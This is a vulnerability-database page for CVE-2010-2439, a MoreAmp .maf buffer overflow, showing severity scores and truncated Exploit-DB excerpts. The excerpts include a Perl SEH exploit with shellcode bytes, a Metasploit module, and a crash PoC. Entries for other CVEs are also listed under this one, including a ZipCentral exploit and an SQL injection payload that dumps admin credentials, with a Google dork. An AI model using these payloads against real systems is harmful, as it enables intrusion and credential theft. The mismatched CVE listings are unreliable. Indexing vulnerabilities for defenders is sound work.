CVE-2010-2439
published 2010-06-24CVE-2010-2439: Stack-based buffer overflow in MoreAmp allows remote attackers to execute arbitrary code via a long line in a song list (.maf file).
PriorityP345critical9.3CVSS 2.0
AVNACMAuNCCICAC
EXPLOIT
EPSS
5.82%
92.2th percentile
Stack-based buffer overflow in MoreAmp allows remote attackers to execute arbitrary code via a long line in a song list (.maf file).
Affected
2 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| moreforge | moreamp | — | — |
| moreforge | moreamp | — | — |
CVEs like this are exactly what “Exploited This Week” covers.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
No detection rules found.
Exploit-DB
ZipCentral - '.zip' Local Buffer Overflow (SEH)
exploitdb·2010-07-21
CVE-2006-2439 ZipCentral - '.zip' Local Buffer Overflow (SEH)
ZipCentral - '.zip' Local Buffer Overflow (SEH)
---
# Author : Jiten Pathy
# July 21 2010
#Thanks to the http://en.wikipedia.org/wiki/PKZIP page for heelping me understand zip file format
#Thanks to corelanc0d3r for shredding light on these type of exploits at http://www.offensive-security.com/vulndev/quickzip-stack-bof-0day-a-box-of-chocolates/
# Greetz to SSTeam and G4H members
#There is already a exploit on zipcentral filename handling buffer #overflow over 2 months ago which uses an address from a system dll for #SEH which isnt reliable across different platforms so this one uses an #address from exe file which is a little complicated but reliable
my $filename="pwnzipcentral.zip";
my $ldf_header = "\x50\x4B\x03\x04\x14\x00\x00".
"\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00" .
"\x00
Exploit-DB
MoreAmp - Local Buffer Overflow (SEH) (Metasploit)
exploitdb·2010-07-17
CVE-2010-2439 MoreAmp - Local Buffer Overflow (SEH) (Metasploit)
MoreAmp - Local Buffer Overflow (SEH) (Metasploit)
---
#MoreAmp Seh Buffer Overflow (meta)
#Greetz:His0k4 , Bibi-info , Volc4n0
#sec4ever.com
require 'msf/core'
class Metasploit3 'MoreAmp 0.1.25 Beta Buffer Overflow (SEH)',
'Description' => %q{
This module exploits a SEH overflow in 0.1.25 MoreAmp Beta
By creating a specially crafted .m3u file, an an attacker may be able
to execute arbitrary code.
},
'License' => MSF_LICENSE,
'Author' => 'MadjiX',
'Version' => 'Version 1',
'References' =>
[
[ 'OSVDB', '65789' ],
[ 'URL', 'http://www.exploit-db.com/exploits/13942/' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 1400,
'BadChars' => "\x00\x20\x0a\x0d",
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows XP SP3 Fr', { 'Ret' => 0x7
Exploit-DB
MoreAmp - '.maf' Local Stack Buffer Overflow (SEH)
exploitdb·2010-06-20
CVE-2010-2439 MoreAmp - '.maf' Local Stack Buffer Overflow (SEH)
MoreAmp - '.maf' Local Stack Buffer Overflow (SEH)
---
###################################################################
#Exploit Title : MoreAmp (.maf) local Stack Buffer Overflow (SEH)
#tested on windows xp SP 3 FR
#Author: MadjiX
#Special Greets:His0k4 [ where are you :( ]
#Greets:Bibi-info , Silectovic , Volc4n0
###################################################################
my $file= "MadjiX.maf";
my $junk = "\x41" x 108 ;
my $nseh = "\xeb\x06\x90\x90" ;
my $seh = "\xE1\x5B\x82\xC4" ;
my $shellcode = "\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1" .
"\x1e\x58\x31\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30" .
"\x78\xbc\x65\xc9\x78\xb6\x23\xf5\xf3\xb4\xae\x7d\x02\xaa" .
"\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21\xe7\x96" .
"\x60\xf5\x71\xca\x06\x35\xf5\x14\xc7
Exploit-DB
MoreAmp - '.maf' Buffer Overflow (PoC)
exploitdb·2010-06-19
CVE-2010-2439 MoreAmp - '.maf' Buffer Overflow (PoC)
MoreAmp - '.maf' Buffer Overflow (PoC)
---
#!/usr/bin/python
#
# Title: MoreAmp (.maf) Buffer Overflow POC
# Author: Sid3^effects aKa HaRi
# Date: June 19th, 2010
# Platform: Windows XP sp3 En
# Thanks to: r0073r (inj3ct0r.com),L0rd CruSad3r,MaYur,MA1201,gunslinger_
# greetz to : All ICW members and my friends :) luv y0 guyz
#
# Usage : File-->Open Song List-->load your evil song list(.maf)
print "################################################################################"
print " MoreAmp (.maf) Buffer Overflow POC "
print " By: Sid3^effects "
print " Usage: File-->Open Song List-->load your evil song list(.maf) "
print "################################################################################"
buff = ("\x41" * 90000)
try:
f1 = open("evil.maf","w");
f1.write(buff);
f1.clo
Exploit-DB
cms (id) 5.0 - SQL Injection
exploitdb·2010-04-22
CVE-2009-2439 cms (id) 5.0 - SQL Injection
cms (id) 5.0 - SQL Injection
---
CmS (id) SQL Injection Vulnerability
Author : spykit
Site : http://devilzc0de.org/
Date : April, 22-2010
Location : Jakarta, Indonesia
Time Zone : GMT +7:00
Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~
Application : CmS
Vendor : http://hotsweb.com
Price : free
Version : version 5.0
Google Dork: allinurl: Category.php?IndustrYID=
Exploitz:
~~~~~~~
union all select
1,2,concat_ws(0x3a,LoginID,Password,AdminEmail,AdminEmailPassword) from
admin--
SQLi p0c:
~~~~~~~
http://127.0.0.1/[path]/category.php?IndustryID=[SQLI]
Shoutz:
~~~~
- 'oH lawd !! Malingsial lame forum g0t hacked for second times by
Us,lulz...'
-
LeQhi,lingah,GheMaX,v3n0m,m4rco,z0mb13,ast_boy,eidelweiss,xx_user,^pKi^,tian,zhie_o,JaLi-
- setanmuda,oche_an3h,onez,Joglo,d4rk_kn
No writeups or analysis indexed.
2010-06-24
Published